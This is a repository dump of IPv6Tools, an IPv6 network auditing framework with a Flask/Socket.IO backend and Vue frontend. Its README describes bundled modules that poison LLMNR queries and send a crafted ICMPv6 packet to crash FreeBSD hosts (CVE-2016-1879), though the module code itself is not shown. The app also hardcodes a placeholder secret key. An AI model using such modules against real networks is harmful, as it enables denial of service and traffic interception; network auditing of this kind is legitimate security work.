├── .babelrc ├── .gitignore ├── Dockerfile ├── LICENSE.md ├── README.md ├── app.py ├── assets ├── 674f50d287a8c48dc19ba404d20fe713.eot ├── 912ec66d7572ff821749319396470bde.svg ├── af7ae505a9eed503f8b8e6982036873e.woff2 ├── app.js ├── b06871f281fee6b241d60582ae9369b9.ttf └── fee66e712a8a08eef5805a46892932ad.woff ├── client ├── App.vue ├── components │ ├── Console.vue │ ├── ContextMenu.vue │ ├── Details.vue │ ├── ModuleMenu.vue │ ├── Navbar.vue │ ├── NodeGraph.vue │ ├── NodeTable.vue │ ├── ScanButton.vue │ └── index.js ├── main.js └── utils.js ├── docker-compose.yml ├── index.html ├── ipv6 ├── __init__.py ├── dns.py ├── icmpv6.py ├── ipv6.py └── ipv6sniffer.py ├── modules ├── CVE-2016-1879.py ├── DAD_DoS.py ├── ND_Cache_Poisoning.py ├── __init__.py ├── poisonLLMNR.py └── template.py ├── package.json ├── requirements.txt ├── screenshots └── scanning.gif ├── server └── static │ ├── css │ ├── app.css │ ├── bootstrap-theme.css │ ├── bootstrap-theme.min.css │ ├── bootstrap.css │ ├── bootstrap.min.css │ ├── dataTables.bootstrap.min.css │ └── jquery.dataTables.min.css │ ├── fonts │ ├── glyphicons-halflings-regular.eot │ ├── glyphicons-halflings-regular.svg │ ├── glyphicons-halflings-regular.ttf │ ├── glyphicons-halflings-regular.woff │ └── glyphicons-halflings-regular.woff2 │ ├── images │ ├── sort_asc.png │ ├── sort_asc_disabled.png │ ├── sort_both.png │ ├── sort_desc.png │ └── sort_desc_disabled.png │ └── js │ ├── app.js │ ├── bootstrap.min.js │ ├── d3.min.js │ ├── dataTables.bootstrap.min.js │ ├── jquery.dataTables.min.js │ ├── jquery.min.js │ ├── socket.io.min.js │ └── sockets.js ├── templates └── index.html └── webpack.config.js /.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": [ 3 | "vue", 4 | "es2015" 5 | ], 6 | "plugins": [ 7 | "transform-export-extensions" 8 | ], 9 | "comments": false 10 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *,cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | 93 | # Rope project settings 94 | .ropeproject 95 | 96 | node_modules 97 | 98 | *.AppleDouble* 99 | *.DS_Store* -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Pull base image. 2 | FROM library/ubuntu 3 | 4 | # TODO 5 | # Change maintainer to LABEL and add all authors 6 | MAINTAINER Ronald Eddings 7 | 8 | RUN apt-get update 9 | 10 | # 11 | # Python 12 | # 13 | RUN apt-get install -y python python-dev python-pip python-virtualenv git 14 | 15 | # 16 | # Node.js and NPM 17 | # 18 | RUN apt-get install -y nodejs nodejs-legacy npm git --no-install-recommends 19 | RUN ln -s /dev/null /dev/raw1394 20 | 21 | # 22 | # Install dependencies required by node-canvas 23 | # 24 | RUN apt-get install -y libcairo2-dev libjpeg8-dev libpango1.0-dev libgif-dev build-essential g++ sudo 25 | 26 | # Create app directory 27 | RUN mkdir -p /usr/src/app 28 | WORKDIR /usr/src/app 29 | 30 | RUN git clone https://github.com/apg-intel/ipv6tools.git 31 | WORKDIR /usr/src/app/ipv6tools 32 | RUN git checkout dev 33 | 34 | # Install project dependencies 35 | RUN npm run setup 36 | 37 | EXPOSE 8080 38 | 39 | # Start Project 40 | CMD [ "npm", "run", "start" ] 41 | 42 | # 43 | # Clear cache 44 | # 45 | RUN apt-get autoclean && apt-get clean 46 | RUN rm -rf /var/lib/apt/lists/* 47 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IPv6Tools 2 | 3 | > The IPv6Tools framework is a robust set of modules and plugins that allow a user to audit an IPv6 enabled network. The built-in modules support enumeration of IPv6 features such as ICMPv6 and Multicast Listener Discovery (MLD). In addition, the framework also supports enumeration of Upper Layer Protocols (ULP) such as multicast DNS (mDNS) and Link-Local Multicast Name Resolution (LLMNR). Users can easily expand the capability of the framework by creating plugins and modules in the Python language. 4 | 5 | ### Write-up 6 | 7 | To read more about how this project came to fruition and how to build an app using the same technologies, follow the links below! 8 | 9 | * [There’s No Place Like ::1 — Enumerating Local IPv6 networks](https://secdevops.ai/theres-no-place-like-1-enumerating-local-ipv6-networks-88a6247e3519) 10 | * For content related to development, security, devops, AI, etc... check out [SecDevOps.AI](https://secdevops.ai)! 11 | 12 |
13 |

14 | IPv6Tools Scanning Network 15 |

16 | 17 | 18 | 19 | * [Requirements](#requirements) 20 | * [Installation](#installation) 21 | * [Usage](#usage) 22 | * [Modules](#modules) 23 | * [Known Issues](#known-issues) 24 | 25 | ## Requirements 26 | 27 | * python 2.7 28 | * pip 29 | * npm [development only] 30 | 31 | ## Installation 32 | 33 | ### Standard 34 | 35 | *[Optional] Use a virtualenv for installation:* `virtualenv venv && source venv/bin/activate` 36 | 37 | 1. `git clone http://github.com/apg-intel/ipv6tools.git` 38 | 2. `sudo pip install -r requirements.txt` 39 | 40 | 41 | ### Development 42 | 1. `git clone http://github.com/apg-intel/ipv6tools.git` 43 | 2. `git checkout dev` 44 | 3. `npm run setup` 45 | 46 | ## Usage 47 | 48 | ### Standard 49 | 1. `sudo python app.py` 50 | 2. Navigate to [http://localhost:8080](http://localhost:8080) in a web browser 51 | 52 | ### Development 53 | 1. Run `$ npm run serve` 54 | 2. In a separate terminal, run `npm run dev` 55 | 3. Navigate to [http://localhost:8081](http://localhost:8081) in a web browser 56 | 57 | ### CLI 58 | **TODO** 59 | 60 | ## Modules 61 | 62 | Modules are classes that allow interaction with individual nodes or all nodes. These show up as a right click option on each node, or as a button below the graph. 63 | 64 | ### Included Modules 65 | 66 | Included in the project are a couple of modules to help validate your network, as well as use as examples for your own modules. 67 | 68 | * **poisonLLMNR** - Link-Local Multicast Name Resolution is the successor of of NBT-NS, which allows local nodes to resolve names and IP addresses. Enabling this module poisons LLMNR queries to all nodes on the local link. 69 | * **CVE-2016-1879** - The following CVE is a vulnerability in SCTP that affects FreeBSD 9.3, 10.1 and 10.2. Enabling this module will launch a crafted ICMPv6 packet and potentially cause a DoS (assertion failure or NULL pointer dereference and kernel panic) to a single node. 70 | 71 | ### Custom Modules 72 | 73 | All modules are located in `/modules` and are automatically loaded when starting the server. Included in `/modules` is a file called `template.py`. This file contains the class that all modules must extend in order to display correctly and communicate with the webpage. 74 | 75 | Use this template to build a custom module 76 | 77 | ```python 78 | from template import Template 79 | 80 | class IPv6Module(Template): 81 | 82 | def __init__(self, socketio, namespace): 83 | super(IPv6Module, self).__init__(socketio, namespace) 84 | self.modname = "CVE-2016-1879" 85 | self.menu_text = "FreeBSD IPv6 DoS" 86 | self.actions = [ 87 | { 88 | "title": "FreeBSD IPv6 DoS", #name that's displayed on the buttons/menu 89 | "action": "action", #method name to call 90 | "target": True #set this to true to display it in the right-click menu 91 | } 92 | ] 93 | 94 | def action(self, target=None): 95 | # send a log msg 96 | self.socket_log('Running DoS on '+target['ip']) 97 | 98 | # do stuff, etc 99 | 100 | # merge results with main result set 101 | listOfDicts = [{ip: '::1', device_name: 'test'}] 102 | self.module_merge(listOfDicts) 103 | 104 | ``` 105 | 106 | ## Known Issues 107 | 108 | * Untested on large networks 109 | * Any stack traces mentioning `dnet` or `dumbnet` - follow the instructions below. 110 | * Some operating systems may require the libpcap headers. See notes below. 111 | 112 | ### Installing libdnet 113 | ``` 114 | git clone https://github.com/dugsong/libdnet.git 115 | cd libdnet 116 | ./configure && make 117 | sudo make install 118 | cd python 119 | python setup.py install 120 | ``` 121 | 122 | ### libpcap headers in Ubuntu 123 | `sudo apt install libpcap-dev` 124 | -------------------------------------------------------------------------------- /app.py: -------------------------------------------------------------------------------- 1 | import importlib, os, sys, argparse 2 | from flask import Flask, request, render_template, json, send_from_directory 3 | from flask_socketio import SocketIO 4 | 5 | # # import ipv6 stuff 6 | import ipv6.icmpv6 as icmpv6 7 | import ipv6.dns as dns 8 | import ipv6.ipv6sniffer as ipv6sniffer 9 | 10 | PROPAGATE_EXCEPTIONS = True 11 | 12 | app = Flask(__name__) 13 | app.config['SECRET_KEY'] = 'secret!' 14 | socketio = SocketIO(app) 15 | ns = '/scan' #namespace for socketio 16 | sniffer = ipv6sniffer.IPv6Sniffer() 17 | mod_objects = {} 18 | 19 | # flask routes 20 | # only route is the index - everything else uses websockets (for now) 21 | @app.route('/') 22 | def index(): 23 | return render_template('index.html') 24 | 25 | @socketio.on('get_mods', namespace=ns) 26 | def get_mods(): 27 | mods = get_modules() 28 | socketio.emit('get_mods', json.dumps(mods), namespace=ns) 29 | 30 | # websocket to intialize the main sniffer 31 | # message 32 | # None 33 | @socketio.on('sniffer_init', namespace=ns) 34 | def sniffer_init(message): 35 | sniffer.start(request.namespace, socketio) 36 | 37 | # websocket to stop the main sniffer 38 | # message 39 | # None 40 | @socketio.on('sniffer_kill', namespace=ns) 41 | def sniffer_kill(message): 42 | sniffer.stop() 43 | 44 | # websocket to perform the initial network scan 45 | # message 46 | # None 47 | @socketio.on('start_scan', namespace=ns) 48 | def scan(message): 49 | print("starting scan") 50 | handler = icmpv6.ICMPv6() 51 | handler.echoAllNodes() 52 | handler.echoAllNodeNames() 53 | handler.echoMulticastQuery() 54 | handler = dns.DNS() 55 | handler.mDNSQuery() 56 | 57 | # websocket to get the multicast report for a node 58 | # message 59 | # multicast_report [required] - multicast report from the node 60 | # ip [required] - ip of the node to scan 61 | @socketio.on('scan_llmnr', namespace=ns) 62 | def scan_llmnr(message): 63 | if "multicast_report" in message: 64 | handler = dns.DNS() 65 | for report in message['multicast_report']: 66 | if report['multicast_address'] == "ff02::1:3": 67 | handler.llmnr_noreceive(message['ip']) 68 | 69 | # websocket to execute a module action 70 | # message 71 | # modname [required] - name of the module 72 | # action [required] - action to perform 73 | # target [optional] - target object to perform on 74 | @socketio.on('mod_action', namespace=ns) 75 | def mod_action(message): #target,name,action 76 | if not mod_objects: get_modules() # handle server restarts without page refreshes 77 | action = getattr(mod_objects[message['modname']], message['action']) 78 | action(message.get('target')) 79 | 80 | @app.route('/assets/') 81 | def assets(filename): 82 | return send_from_directory("assets", filename) 83 | 84 | 85 | # load modules from /modules 86 | def get_modules(): 87 | import pkgutil 88 | import modules 89 | 90 | pkg = modules 91 | prefix = pkg.__name__ + "." #modules.* 92 | mods = [] 93 | 94 | # loop through the modules in the module directory 95 | for importer, modname, ispkg in pkgutil.iter_modules(pkg.__path__, prefix): 96 | # make sure it's not a package or the template file 97 | if not ispkg and modname != "modules.template": 98 | # get the IPv6Module class from the file 99 | mod = importlib.import_module(modname) 100 | modobj = getattr(mod, "IPv6Module")(socketio, ns) 101 | mod_objects[modobj.modname] = modobj 102 | 103 | mods.append({ 104 | 'modname': modobj.modname, 105 | 'actions': modobj.actions 106 | }) 107 | return mods 108 | 109 | # run the app 110 | if __name__ == '__main__': 111 | 112 | # we need root rights: 113 | if os.geteuid() != 0: 114 | exit("You need to have root privileges to run this script.\nPlease try again, this time using 'sudo'. Exiting.") 115 | 116 | # cli arguments 117 | parser = argparse.ArgumentParser(description='The IPv6 framework is a robust set of modules and plugins that allow a user to audit an IPv6 enabled network.') 118 | parser.add_argument('--host', dest="host", default="0.0.0.0", help="address to bind the server to (default: 0.0.0.0)") 119 | parser.add_argument('--port', dest="port", default="8080", help="port to run the server on (default: 8080)", type=int) 120 | args = parser.parse_args() 121 | 122 | print "Server starting on http://{host}:{port}/".format(host=args.host, port=args.port) 123 | try: 124 | socketio.run(app, host=args.host, port=args.port) 125 | except KeyboardInterrupt: 126 | print 'Interrupted. Exiting.' 127 | sys.exit(0) 128 | 129 | -------------------------------------------------------------------------------- /assets/674f50d287a8c48dc19ba404d20fe713.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/assets/674f50d287a8c48dc19ba404d20fe713.eot -------------------------------------------------------------------------------- /assets/af7ae505a9eed503f8b8e6982036873e.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/assets/af7ae505a9eed503f8b8e6982036873e.woff2 -------------------------------------------------------------------------------- /assets/b06871f281fee6b241d60582ae9369b9.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/assets/b06871f281fee6b241d60582ae9369b9.ttf -------------------------------------------------------------------------------- /assets/fee66e712a8a08eef5805a46892932ad.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/apg-intel/ipv6tools/cc6bc0065c2e71e7f7a6db39be2ca741998690d9/assets/fee66e712a8a08eef5805a46892932ad.woff -------------------------------------------------------------------------------- /client/App.vue: -------------------------------------------------------------------------------- 1 | 30 | 31 | 173 | 174 | 183 | -------------------------------------------------------------------------------- /client/components/Console.vue: -------------------------------------------------------------------------------- 1 | 12 | 13 | 21 | 22 | -------------------------------------------------------------------------------- /client/components/ContextMenu.vue: -------------------------------------------------------------------------------- 1 | 18 | 19 | 83 | 84 | -------------------------------------------------------------------------------- /client/components/Details.vue: -------------------------------------------------------------------------------- 1 | 18 | 19 | 82 | 83 | -------------------------------------------------------------------------------- /client/components/ModuleMenu.vue: -------------------------------------------------------------------------------- 1 | 24 | 25 | 68 | 69 | 90 | -------------------------------------------------------------------------------- /client/components/Navbar.vue: -------------------------------------------------------------------------------- 1 | 26 | 27 | 44 | -------------------------------------------------------------------------------- /client/components/NodeGraph.vue: -------------------------------------------------------------------------------- 1 | 7 | 8 | 237 | 238 | 255 | -------------------------------------------------------------------------------- /client/components/NodeTable.vue: -------------------------------------------------------------------------------- 1 | 88 | 89 | 152 | 153 | -------------------------------------------------------------------------------- /client/components/ScanButton.vue: -------------------------------------------------------------------------------- 1 | 10 | 11 | 28 | 29 | -------------------------------------------------------------------------------- /client/components/index.js: -------------------------------------------------------------------------------- 1 | export Navbar from './Navbar.vue' 2 | export Console from './Console.vue' 3 | export NodeGraph from './NodeGraph.vue' 4 | export NodeTable from './NodeTable.vue' 5 | export ModuleMenu from './ModuleMenu.vue' 6 | export ContextMenu from './ContextMenu.vue' 7 | export ScanButton from './ScanButton.vue' -------------------------------------------------------------------------------- /client/main.js: -------------------------------------------------------------------------------- 1 | import Vue from 'vue' 2 | import App from './App.vue' 3 | 4 | require('font-awesome/css/font-awesome.css'); 5 | require('bulma/css/bulma.css'); 6 | 7 | var app = new Vue({ 8 | el: '#app', 9 | components: { 10 | app: App 11 | } 12 | }) 13 | -------------------------------------------------------------------------------- /client/utils.js: 